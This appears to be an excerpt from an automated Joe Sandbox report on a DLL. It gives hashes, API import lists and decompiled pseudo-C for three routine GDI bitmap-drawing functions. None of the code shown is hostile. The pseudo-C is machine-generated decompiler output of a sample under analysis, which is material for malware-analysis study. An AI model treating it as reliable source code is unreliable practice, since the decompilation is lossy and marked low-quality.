VarI4FromStr, xrefs: 00B1E8F9
VarCyFromStr, xrefs: 00B1E951
VarBstrFromDate, xrefs: 00B1E993
VarR8FromStr, xrefs: 00B1E925
oleaut32.dll, xrefs: 00B1E7C8
VarDateFromStr, xrefs: 00B1E93B
VarIdiv, xrefs: 00B1E875
VarAnd, xrefs: 00B1E8A1
VarMod, xrefs: 00B1E88B
VarNot, xrefs: 00B1E807
VariantChangeTypeEx, xrefs: 00B1E7DB

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: eaf722e628326499179a76704d4fe243144795cb7da050066311ae9a6db73b45
Instruction ID: d05a7b96f3bb116504805e21a1b52b8af5c62d5960351f390ad4ee1c88ac8b89
Opcode Fuzzy Hash: eaf722e628326499179a76704d4fe243144795cb7da050066311ae9a6db73b45
Instruction Fuzzy Hash: 7141FB626493099A73446B6D78514EAFBDDEE447203E044BBFC36CB799ED30ECC04A29

Uniqueness

Uniqueness Score: -1.00%

Function 00B35628 Relevance: 37.7, APIs: 25, Instructions: 248
windowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00B35628(struct HDC__* __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, int _a4, int _a8, struct HDC__* _a12, int _a16, int _a20, int _a24, int _a28, struct HDC__* _a32, int _a36, int _a40) {
				int _v8;
				int _v12;
				char _v13;
				struct HDC__* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				intOrPtr _v40;
				intOrPtr* _t78;
				intOrPtr _t87;
				struct HDC__* _t88;
				intOrPtr _t91;
				struct HDC__* _t92;
				struct HDC__* _t135;
				int _t162;
				intOrPtr _t169;
				intOrPtr _t171;
				struct HDC__* _t173;
				int _t175;
				void* _t177;
				void* _t178;
				intOrPtr _t179;

				_t177 = _t178;
				_t179 = _t178 + 0xffffffdc;
				_v12 = __ecx;
				_v8 = __edx;
				_t173 = __eax;
				_t175 = _a16;
				_t162 = _a20;
				_v13 = 1;
				_t78 =  *0xbde62c; // 0xbdc0d4
				if( *_t78 != 2 || _t162 != _a40 || _t175 != _a36) {
					_v40 = 0;
					_push(0);
					L00B16E94();
					_v20 = E00B35484(0);
					_push(_t177);
					_push(0xb358a8);
					_push( *[fs:eax]);
					 *[fs:eax] = _t179;
					_push(_t175);
					_push(_t162);
					_push(_a32);
					L00B16E8C();
					_v24 = E00B35484(_a32);
					_v28 = SelectObject(_v20, _v24);
					_push(0);
					_t87 =  *0xbdf894; // 0x350808d9
					_push(_t87);
					_t88 = _a32;
					_push(_t88);
					L00B16FC4();
					_v40 = _t88;
					_push(0);
					_push(_v40);
					_push(_a32);
					L00B16FC4();
					if(_v40 == 0) {
						_push(0xffffffff);
						_t91 =  *0xbdf894; // 0x350808d9
						_push(_t91);
						_t92 = _v20;
						_push(_t92);
						L00B16FC4();
						_v40 = _t92;
					} else {
						_push(0xffffffff);
						_push(_v40);
						_t135 = _v20;
						_push(_t135);
						L00B16FC4();
						_v40 = _t135;
					}
					_push(_v20);
					L00B16F9C();
					StretchBlt(_v20, 0, 0, _t162, _t175, _a12, _a8, _a4, _t162, _t175, 0xcc0020);
					StretchBlt(_v20, 0, 0, _t162, _t175, _a32, _a28, _a24, _t162, _t175, 0x440328);
					_v32 = SetTextColor(_t173, 0);
					_v36 = SetBkColor(_t173, 0xffffff);
					StretchBlt(_t173, _v8, _v12, _a40, _a36, _a12, _a8, _a4, _t162, _t175, 0x8800c6);
					StretchBlt(_t173, _v8, _v12, _a40, _a36, _v20, 0, 0, _t162, _t175, 0x660046);
					SetTextColor(_t173, _v32);
					SetBkColor(_t173, _v36);
					if(_v28 != 0) {
						SelectObject(_v20, _v28);
					}
					DeleteObject(_v24);
					_pop(_t169);
					 *[fs:eax] = _t169;
					_push(0xb358af);
					if(_v40 != 0) {
						_push(0);
						_push(_v40);
						_push(_v20);
						L00B16FC4();
					}
					return DeleteDC(_v20);
				} else {
					_push(1);
					_push(1);
					_push(_a32);
					L00B16E8C();
					_v24 = E00B35484(_a32);
					_v24 = SelectObject(_a12, _v24);
					_push(_t177);
					_push(0xb356fb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t179;
					MaskBlt(_t173, _v8, _v12, _a40, _a36, _a32, _a28, _a24, _v24, _a8, _a4, E00B17590(0xaa0029, 0xcc0020));
					_pop(_t171);
					 *[fs:eax] = _t171;
					_push(0xb358af);
					_v24 = SelectObject(_a12, _v24);
					return DeleteObject(_v24);
				}
			}

0x00b35629
0x00b3562b
0x00b35631
0x00b35634
0x00b35637
0x00b35639
0x00b3563c
0x00b3563f
0x00b35643
0x00b3564b
0x00b35704
0x00b35707
0x00b35709
0x00b35713
0x00b35718
0x00b35719
0x00b3571e
0x00b35721
0x00b35724
0x00b35725
0x00b35729
0x00b3572a
0x00b35734
0x00b35744
0x00b35747
0x00b35749
0x00b3574e
0x00b3574f
0x00b35752
0x00b35753
0x00b35758
0x00b3575b
0x00b35760
0x00b35764
0x00b35765
0x00b3576e
0x00b35784
0x00b35786
0x00b3578b
0x00b3578c
0x00b3578f
0x00b35790
0x00b35795
0x00b35770
0x00b35770
0x00b35775
0x00b35776
0x00b35779
0x00b3577a
0x00b3577f
0x00b3577f
0x00b3579b
0x00b3579c
0x00b357be
0x00b357e0
0x00b357ed
0x00b357fb
0x00b35822
0x00b35847
0x00b35851
0x00b3585b
0x00b35864
0x00b3586e
0x00b3586e
0x00b35877
0x00b3587e
0x00b35881
0x00b35884
0x00b3588d
0x00b3588f
0x00b35894
0x00b35898
0x00b35899
0x00b35899
0x00b358a7
0x00b35663
0x00b35663
0x00b35665
0x00b3566a
0x00b3566b
0x00b35675
0x00b35685
0x00b3568a
0x00b3568b
0x00b35690
0x00b35693
0x00b356cf
0x00b356d6
0x00b356d9
0x00b356dc
0x00b356ee
0x00b356fa
0x00b356fa

APIs

73BEA520.GDI32(?,00000001,00000001), ref: 00B3566B
SelectObject.GDI32(?,?), ref: 00B35680
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00B356FB,?,?), ref: 00B356CF
SelectObject.GDI32(?,?), ref: 00B356E9
DeleteObject.GDI32(?), ref: 00B356F5
73BEA590.GDI32(00000000), ref: 00B35709
73BEA520.GDI32(?,?,?,00000000,00B358A8,?,00000000), ref: 00B3572A
SelectObject.GDI32(?,?), ref: 00B3573F
73BEB410.GDI32(?,350808D9,00000000,?,?,?,?,?,00000000,00B358A8,?,00000000), ref: 00B35753
73BEB410.GDI32(?,?,00000000,?,350808D9,00000000,?,?,?,?,?,00000000,00B358A8,?,00000000), ref: 00B35765
73BEB410.GDI32(?,00000000,000000FF,?,?,00000000,?,350808D9,00000000,?,?,?,?,?,00000000,00B358A8), ref: 00B3577A
73BEB410.GDI32(?,350808D9,000000FF,?,?,00000000,?,350808D9,00000000,?,?,?,?,?,00000000,00B358A8), ref: 00B35790
73BEB150.GDI32(?,?,350808D9,000000FF,?,?,00000000,?,350808D9,00000000,?,?,?,?,?,00000000), ref: 00B3579C
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 00B357BE
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 00B357E0
SetTextColor.GDI32(?,00000000), ref: 00B357E8
SetBkColor.GDI32(?,00FFFFFF), ref: 00B357F6
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 00B35822
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 00B35847
SetTextColor.GDI32(?,?), ref: 00B35851
SetBkColor.GDI32(?,?), ref: 00B3585B
SelectObject.GDI32(?,00000000), ref: 00B3586E
DeleteObject.GDI32(?), ref: 00B35877
73BEB410.GDI32(?,00000000,00000000,00B358AF,?,?,?,?,?,?,?,?,00000000,00000000,?,?), ref: 00B35899
DeleteDC.GDI32(?), ref: 00B358A2

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Object$B410$ColorSelectStretch$Delete$A520Text$A590B150Mask
String ID:
API String ID: 3348367721-0
Opcode ID: 89cb3afc579a5e9f0db0a9681335daad836d56712daf812164c774fa5ee9004c
Instruction ID: d24ff36d01d52194c39db333d0e8a442c599824f45444410a8e97a6c63b6d7b3
Opcode Fuzzy Hash: 89cb3afc579a5e9f0db0a9681335daad836d56712daf812164c774fa5ee9004c
Instruction Fuzzy Hash: 7F818DB2A00209AFDB50EFA8CD85EEFB7FCAB0D710F510594F618E7281D635AD408B61

Uniqueness

Uniqueness Score: -1.00%

Function 00B37584 Relevance: 31.7, APIs: 21, Instructions: 194
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00B37584(void* __eax, long __ecx, intOrPtr __edx) {
				void* _v8;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				intOrPtr _v92;
				intOrPtr _v96;
				int _v108;
				int _v112;
				void _v116;
				void* _t64;
				int _t65;
				intOrPtr _t66;
				long _t77;
				void* _t107;
				intOrPtr _t116;
				intOrPtr _t117;
				long _t120;
				intOrPtr _t123;
				void* _t127;
				void* _t129;
				intOrPtr _t130;

				_t127 = _t129;
				_t130 = _t129 + 0xffffff90;
				_t120 = __ecx;
				_t123 = __edx;
				_t107 = __eax;
				_v8 = 0;
				if(__eax == 0 || GetObjectA(__eax, 0x54,  &_v116) == 0) {
					return _v8;
				} else {
					E00B36A78(_t107);
					_v12 = 0;
					_v20 = 0;
					_push(_t127);
					_push(0xb3777f);
					_push( *[fs:eax]);
					 *[fs:eax] = _t130;
					_push(0);
					L00B171A4();
					_v12 = E00B35484(0);
					_push(_v12);
					L00B16E94();
					_v20 = E00B35484(_v12);
					_push(0);
					_push(1);
					_push(1);
					_push(_v108);
					_t64 = _v112;
					_push(_t64);
					L00B16E7C();
					_v8 = _t64;
					if(_v8 == 0) {
						L17:
						_t65 = 0;
						_pop(_t116);
						 *[fs:eax] = _t116;
						_push(0xb37786);
						if(_v20 != 0) {
							_t65 = DeleteDC(_v20);
						}
						if(_v12 != 0) {
							_t66 = _v12;
							_push(_t66);
							_push(0);
							L00B173DC();
							return _t66;
						}
						return _t65;
					} else {
						_v32 = SelectObject(_v20, _v8);
						if(__ecx != 0x1fffffff) {
							_push(_v12);
							L00B16E94();
							_v16 = E00B35484(_v12);
							_push(_t127);
							_push(0xb37737);
							_push( *[fs:eax]);
							 *[fs:eax] = _t130;
							if(_v96 == 0) {
								_v21 = 0;
							} else {
								_v21 = 1;
								_v92 = 0;
								_t107 = E00B36EBC(_t107, _t123, _t123, 0,  &_v116);
							}
							_v28 = SelectObject(_v16, _t107);
							if(_t123 != 0) {
								_push(0);
								_push(_t123);
								_push(_v16);
								L00B16FC4();
								_push(_v16);
								L00B16F9C();
								_push(0);
								_push(_t123);
								_push(_v20);
								L00B16FC4();
								_push(_v20);
								L00B16F9C();
							}
							_t77 = SetBkColor(_v16, _t120);
							_push(0xcc0020);
							_push(0);
							_push(0);
							_push(_v16);
							_push(_v108);
							_push(_v112);
							_push(0);
							_push(0);
							_push(_v20);
							L00B16E74();
							SetBkColor(_v16, _t77);
							if(_v28 != 0) {
								SelectObject(_v16, _v28);
							}
							if(_v21 != 0) {
								DeleteObject(_t107);
							}
							_pop(_t117);
							 *[fs:eax] = _t117;
							_push(0xb3773e);
							return DeleteDC(_v16);
						} else {
							PatBlt(_v20, 0, 0, _v112, _v108, 0x42);
							if(_v32 != 0) {
								SelectObject(_v20, _v32);
							}
							goto L17;
						}
					}
				}
			}

0x00b37585
0x00b37587
0x00b3758d
0x00b3758f
0x00b37591
0x00b37595
0x00b3759a
0x00b3778f
0x00b375b4
0x00b375b6
0x00b375bd
0x00b375c2
0x00b375c7
0x00b375c8
0x00b375cd
0x00b375d0
0x00b375d3
0x00b375d5
0x00b375df
0x00b375e5
0x00b375e6
0x00b375f0
0x00b375f3
0x00b375f5
0x00b375f7
0x00b375fc
0x00b375fd
0x00b37600
0x00b37601
0x00b37606
0x00b3760d
0x00b37751
0x00b37751
0x00b37753
0x00b37756
0x00b37759
0x00b37762
0x00b37768
0x00b37768
0x00b37771
0x00b37773
0x00b37776
0x00b37777
0x00b37779
0x00000000
0x00b37779
0x00b3777e
0x00b37613
0x00b37620
0x00b37629
0x00b3764a
0x00b3764b
0x00b37655
0x00b3765a
0x00b3765b
0x00b37660
0x00b37663
0x00b3766a
0x00b3768a
0x00b3766c
0x00b3766c
0x00b37672
0x00b37686
0x00b37686
0x00b37698
0x00b3769d
0x00b3769f
0x00b376a1
0x00b376a5
0x00b376a6
0x00b376ae
0x00b376af
0x00b376b4
0x00b376b6
0x00b376ba
0x00b376bb
0x00b376c3
0x00b376c4
0x00b376c4
0x00b376ce
0x00b376d5
0x00b376da
0x00b376dc
0x00b376e1
0x00b376e5
0x00b376e9
0x00b376ea
0x00b376ec
0x00b376f1
0x00b376f2
0x00b376fc
0x00b37705
0x00b3770f
0x00b3770f
0x00b37718
0x00b3771b
0x00b3771b
0x00b37722
0x00b37725
0x00b37728
0x00b37736
0x00b3762b
0x00b3763d
0x00b37742
0x00b3774c
0x00b3774c
0x00000000
0x00b37742
0x00b37629
0x00b3760d

APIs

GetObjectA.GDI32(?,00000054,?), ref: 00B375A7
73BEAC50.USER32(00000000,00000000,00B3777F,?,?,00000054,?), ref: 00B375D5
73BEA590.GDI32(?,00000000,00000000,00B3777F,?,?,00000054,?), ref: 00B375E6
73BEA410.GDI32(?,?,00000001,00000001,00000000,?,00000000,00000000,00B3777F,?,?,00000054,?), ref: 00B37601
SelectObject.GDI32(?,00000000), ref: 00B3761B
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 00B3763D
73BEA590.GDI32(?,?,00000000,?,?,00000001,00000001,00000000,?,00000000,00000000,00B3777F,?,?,00000054,?), ref: 00B3764B
SelectObject.GDI32(?), ref: 00B37693
73BEB410.GDI32(?,?,00000000,?,?,00000000,00B37737,?,?,?,00000000,?,?,00000001,00000001,00000000), ref: 00B376A6
73BEB150.GDI32(?,?,?,00000000,?,?,00000000,00B37737,?,?,?,00000000,?,?,00000001,00000001), ref: 00B376AF
73BEB410.GDI32(?,?,00000000,?,?,?,00000000,?,?,00000000,00B37737,?,?,?,00000000,?), ref: 00B376BB
73BEB150.GDI32(?,?,?,00000000,?,?,?,00000000,?,?,00000000,00B37737,?,?,?,00000000), ref: 00B376C4
SetBkColor.GDI32(?), ref: 00B376CE
73BF97E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,?,?,?,00000000,00B37737), ref: 00B376F2
SetBkColor.GDI32(?,00000000), ref: 00B376FC
SelectObject.GDI32(?,00000000), ref: 00B3770F
DeleteObject.GDI32 ref: 00B3771B
DeleteDC.GDI32(?), ref: 00B37731
SelectObject.GDI32(?,00000000), ref: 00B3774C
DeleteDC.GDI32(00000000), ref: 00B37768
73BEB380.USER32(00000000,00000000,00B37786,00000001,00000000,?,00000000,00000000,00B3777F,?,?,00000054,?), ref: 00B37779

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Object$Select$Delete$A590B150B410Color$A410B380
String ID:
API String ID: 2498167796-0
Opcode ID: 9c4978e8a5df1db9596db3191df294b65b745d57b6c538044d02da89bef469f9
Instruction ID: 96fd8322650bb96ed8dca1e603238be05e71b7974e957658a281837b355d4f03
Opcode Fuzzy Hash: 9c4978e8a5df1db9596db3191df294b65b745d57b6c538044d02da89bef469f9
Instruction Fuzzy Hash: 0651FAB5E44209BFDB20DBE8CC56FEEB7FCAB08700F604495B614E7281DA75A9418B60

Uniqueness

Uniqueness Score: -1.00%

Function 00B382A0 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 351
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00B382A0(intOrPtr __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, char* _a4) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* _v16;
				struct HDC__* _v20;
				char _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v37;
				intOrPtr _v44;
				void* _v48;
				struct HDC__* _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				short _v66;
				short _v68;
				signed short _v70;
				signed short _v72;
				void* _v76;
				intOrPtr _v172;
				char _v174;
				intOrPtr _t150;
				signed int _t160;
				intOrPtr _t163;
				void* _t166;
				void* _t174;
				void* _t183;
				signed int _t188;
				intOrPtr _t189;
				struct HDC__* _t190;
				struct HDC__* _t204;
				signed int _t208;
				signed short _t214;
				intOrPtr _t241;
				intOrPtr* _t245;
				intOrPtr _t251;
				intOrPtr _t289;
				intOrPtr _t290;
				intOrPtr _t295;
				signed int _t297;
				signed int _t317;
				void* _t319;
				void* _t320;
				signed int _t321;
				void* _t322;
				void* _t323;
				void* _t324;
				intOrPtr _t325;

				_t316 = __edi;
				_t323 = _t324;
				_t325 = _t324 + 0xffffff54;
				_t319 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v52 = 0;
				_v44 = 0;
				_v60 = 0;
				 *((intOrPtr*)( *_v12 + 0xc))(__edi, __esi, __ebx, _t322);
				_v37 = _v36 == 0xc;
				if(_v37 != 0) {
					_v36 = 0x28;
				}
				_v28 = E00B128CC(_v36 + 0x40c);
				_v64 = _v28;
				_push(_t323);
				_push(0xb387bd);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				_push(_t323);
				_push(0xb38790);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				if(_v37 == 0) {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t320 = _t319 - _v36;
					_t150 =  *((intOrPtr*)(_v64 + 0x10));
					if(_t150 != 3 && _t150 != 0) {
						_v60 = E00B13350(1);
						if(_a4 == 0) {
							E00B12D70( &_v174, 0xe);
							_v174 = 0x4d42;
							_v172 = _v36 + _t320;
							_a4 =  &_v174;
						}
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						E00B2D564(_v60,  *_v60, _v12, _t316, _t320, _t320, 0);
						 *((intOrPtr*)( *_v60 + 0x14))();
						_v12 = _v60;
					}
				} else {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t251 = _v64;
					E00B12D70(_t251, 0x28);
					_t241 = _t251;
					 *(_t241 + 4) = _v72 & 0x0000ffff;
					 *(_t241 + 8) = _v70 & 0x0000ffff;
					 *((short*)(_t241 + 0xc)) = _v68;
					 *((short*)(_t241 + 0xe)) = _v66;
					_t320 = _t319 - 0xc;
				}
				_t245 = _v64;
				 *_t245 = _v36;
				_v32 = _v28 + _v36;
				if( *((short*)(_t245 + 0xc)) != 1) {
					E00B35370();
				}
				if(_v36 == 0x28) {
					_t214 =  *(_t245 + 0xe);
					if(_t214 == 0x10 || _t214 == 0x20) {
						if( *((intOrPtr*)(_t245 + 0x10)) == 3) {
							E00B2D4F4(_v12, 0xc, _v32);
							_v32 = _v32 + 0xc;
							_t320 = _t320 - 0xc;
						}
					}
				}
				if( *(_t245 + 0x20) == 0) {
					 *(_t245 + 0x20) = E00B355F4( *(_t245 + 0xe));
				}
				_t317 = _v37 & 0x000000ff;
				_t257 =  *(_t245 + 0x20) * 0;
				E00B2D4F4(_v12,  *(_t245 + 0x20) * 0, _v32);
				_t321 = _t320 -  *(_t245 + 0x20) * 0;
				if( *(_t245 + 0x14) == 0) {
					_t297 =  *(_t245 + 0xe) & 0x0000ffff;
					_t208 = E00B35614( *((intOrPtr*)(_t245 + 4)), 0x20, _t297);
					asm("cdq");
					_t257 = _t208 * (( *(_t245 + 8) ^ _t297) - _t297);
					 *(_t245 + 0x14) = _t208 * (( *(_t245 + 8) ^ _t297) - _t297);
				}
				_t160 =  *(_t245 + 0x14);
				if(_t321 > _t160) {
					_t321 = _t160;
				}
				if(_v37 != 0) {
					_t160 = E00B358BC(_v32);
				}
				_push(0);
				L00B171A4();
				_v16 = E00B35484(_t160);
				_push(_t323);
				_push(0xb3870b);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				_t163 =  *((intOrPtr*)(_v64 + 0x10));
				if(_t163 == 0 || _t163 == 3) {
					if( *0xbdc670 == 0) {
						_push(0);
						_push(0);
						_push( &_v24);
						_push(0);
						_push(_v28);
						_t166 = _v16;
						_push(_t166);
						L00B16E9C();
						_v44 = _t166;
						if(_v44 == 0 || _v24 == 0) {
							if(GetLastError() != 0) {
								E00B1D738(_t245, _t257, _t317, _t321);
							} else {
								E00B35370();
							}
						}
						_push(_t323);
						_push( *[fs:eax]);
						 *[fs:eax] = _t325;
						E00B2D4F4(_v12, _t321, _v24);
						_pop(_t289);
						 *[fs:eax] = _t289;
						_t290 = 0xb386da;
						 *[fs:eax] = _t290;
						_push(0xb38712);
						_t174 = _v16;
						_push(_t174);
						_push(0);
						L00B173DC();
						return _t174;
					} else {
						goto L27;
					}
				} else {
					L27:
					_v20 = 0;
					_v24 = E00B128CC(_t321);
					_push(_t323);
					_push(0xb38673);
					_push( *[fs:edx]);
					 *[fs:edx] = _t325;
					_t263 = _t321;
					E00B2D4F4(_v12, _t321, _v24);
					_push(_v16);
					L00B16E94();
					_v20 = E00B35484(_v16);
					_push(1);
					_push(1);
					_t183 = _v16;
					_push(_t183);
					L00B16E8C();
					_v48 = SelectObject(_v20, _t183);
					_v56 = 0;
					_t188 =  *(_v64 + 0x20);
					if(_t188 > 0) {
						_t263 = _t188;
						_v52 = E00B35B74(0, _t188);
						_push(0);
						_push(_v52);
						_t204 = _v20;
						_push(_t204);
						L00B16FC4();
						_v56 = _t204;
						_push(_v20);
						L00B16F9C();
					}
					_push(_t323);
					_push(0xb38647);
					_push( *[fs:edx]);
					 *[fs:edx] = _t325;
					_push(0);
					_t189 = _v28;
					_push(_t189);
					_push(_v24);
					_push(4);
					_push(_t189);
					_t190 = _v20;
					_push(_t190);
					L00B16EA4();
					_v44 = _t190;
					if(_v44 == 0) {
						if(GetLastError() != 0) {
							E00B1D738(_t245, _t263, _t317, _t321);
						} else {
							E00B35370();
						}
					}
					_pop(_t295);
					 *[fs:eax] = _t295;
					_push(0xb3864e);
					if(_v56 != 0) {
						_push(0xffffffff);
						_push(_v56);
						_push(_v20);
						L00B16FC4();
					}
					return DeleteObject(SelectObject(_v20, _v48));
				}
			}

0x00b382a0
0x00b382a1
0x00b382a3
0x00b382ac
0x00b382ae
0x00b382b1
0x00b382b6
0x00b382bb
0x00b382c0
0x00b382d0
0x00b382d7
0x00b382df
0x00b382e1
0x00b382e1
0x00b382f8
0x00b382fe
0x00b38303
0x00b38304
0x00b38309
0x00b3830c
0x00b38311
0x00b38312
0x00b38317
0x00b3831a
0x00b38321
0x00b38380
0x00b38383
0x00b38389
0x00b3838f
0x00b383a9
0x00b383b0
0x00b383bf
0x00b383c4
0x00b383d2
0x00b383de
0x00b383de
0x00b383ee
0x00b383fe
0x00b38412
0x00b38421
0x00b38433
0x00b38439
0x00b38439
0x00b38323
0x00b38333
0x00b38336
0x00b38342
0x00b38347
0x00b3834d
0x00b38354
0x00b3835b
0x00b38363
0x00b38367
0x00b38367
0x00b3843c
0x00b38442
0x00b3844a
0x00b38452
0x00b38454
0x00b38454
0x00b3845d
0x00b3845f
0x00b38467
0x00b38473
0x00b38480
0x00b38485
0x00b38489
0x00b38489
0x00b38473
0x00b38467
0x00b38490
0x00b3849b
0x00b3849b
0x00b384a1
0x00b384ad
0x00b384b6
0x00b384c8
0x00b384ce
0x00b384d0
0x00b384dc
0x00b384e6
0x00b384eb
0x00b384ee
0x00b384ee
0x00b384f1
0x00b384f6
0x00b384f8
0x00b384f8
0x00b384fe
0x00b38503
0x00b38503
0x00b38508
0x00b3850a
0x00b38514
0x00b38519
0x00b3851a
0x00b3851f
0x00b38522
0x00b38528
0x00b3852d
0x00b3853b
0x00b3867a
0x00b3867c
0x00b38681
0x00b38682
0x00b38687
0x00b38688
0x00b3868b
0x00b3868c
0x00b38691
0x00b38698
0x00b386a7
0x00b386b0
0x00b386a9
0x00b386a9
0x00b386a9
0x00b386a7
0x00b386b7
0x00b386bd
0x00b386c0
0x00b386cb
0x00b386d2
0x00b386d5
0x00b386f4
0x00b386f7
0x00b386fa
0x00b386ff
0x00b38702
0x00b38703
0x00b38705
0x00b3870a
0x00000000
0x00000000
0x00000000
0x00b38541
0x00b38541
0x00b38543
0x00b3854d
0x00b38552
0x00b38553
0x00b38558
0x00b3855b
0x00b38561
0x00b38566
0x00b3856e
0x00b3856f
0x00b38579
0x00b3857c
0x00b3857e
0x00b38580
0x00b38583
0x00b38584
0x00b38593
0x00b38598
0x00b3859e
0x00b385a3
0x00b385a5
0x00b385b1
0x00b385b4
0x00b385b9
0x00b385ba
0x00b385bd
0x00b385be
0x00b385c3
0x00b385c9
0x00b385ca
0x00b385ca
0x00b385d1
0x00b385d2
0x00b385d7
0x00b385da
0x00b385dd
0x00b385df
0x00b385e2
0x00b385e6
0x00b385e7
0x00b385e9
0x00b385ea
0x00b385ed
0x00b385ee
0x00b385f3
0x00b385fa
0x00b38603
0x00b3860c
0x00b38605
0x00b38605
0x00b38605
0x00b38603
0x00b38613
0x00b38616
0x00b38619
0x00b38622
0x00b38624
0x00b38629
0x00b3862d
0x00b3862e
0x00b3862e
0x00b38646
0x00b38646

APIs

73BEAC50.USER32(00000000,?,00000000,00B387BD,?,?), ref: 00B3850A
73BEA590.GDI32(00000001,00000000,00B38673,?,00000000,00B3870B,?,00000000,?,00000000,00B387BD,?,?), ref: 00B3856F
73BEA520.GDI32(00000001,00000001,00000001,00000001,00000000,00B38673,?,00000000,00B3870B,?,00000000,?,00000000,00B387BD,?,?), ref: 00B38584
SelectObject.GDI32(?,00000000), ref: 00B3858E
73BEB410.GDI32(?,?,00000000,?,00000000,00000001,00000001,00000001,00000001,00000000,00B38673,?,00000000,00B3870B,?,00000000), ref: 00B385BE
73BEB150.GDI32(?,?,?,00000000,?,00000000,00000001,00000001,00000001,00000001,00000000,00B38673,?,00000000,00B3870B), ref: 00B385CA
73BEA7F0.GDI32(?,?,00000004,00000000,?,00000000,00000000,00B38647,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 00B385EE
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,00B38647,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 00B385FC
73BEB410.GDI32(?,00000000,000000FF,00B3864E,00000000,?,00000000,00000000,00B38647,?,?,00000000,00000001,00000001,00000001,00000001), ref: 00B3862E
SelectObject.GDI32(?,?), ref: 00B3863B
DeleteObject.GDI32(00000000), ref: 00B38641

Strings

(, xrefs: 00B38459
BM, xrefs: 00B383C4

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Object$B410Select$A520A590B150DeleteErrorLast
String ID: ($BM
API String ID: 3415089252-2980357723
Opcode ID: cb1d37d841b21564f3b8213073158b1d1578c10dae9f4ac527c86ed6b069d0ee
Instruction ID: 30b16213125adfea705414f84a84f0890636ebddbc39c2c042753ad1db162502
Opcode Fuzzy Hash: cb1d37d841b21564f3b8213073158b1d1578c10dae9f4ac527c86ed6b069d0ee
Instruction Fuzzy Hash: B5D11B74A002189FDF14DFA8D895AAEBBF5FF48300F5484A5F904EB395DB349881CB65

Uniqueness

Uniqueness Score: -1.00%

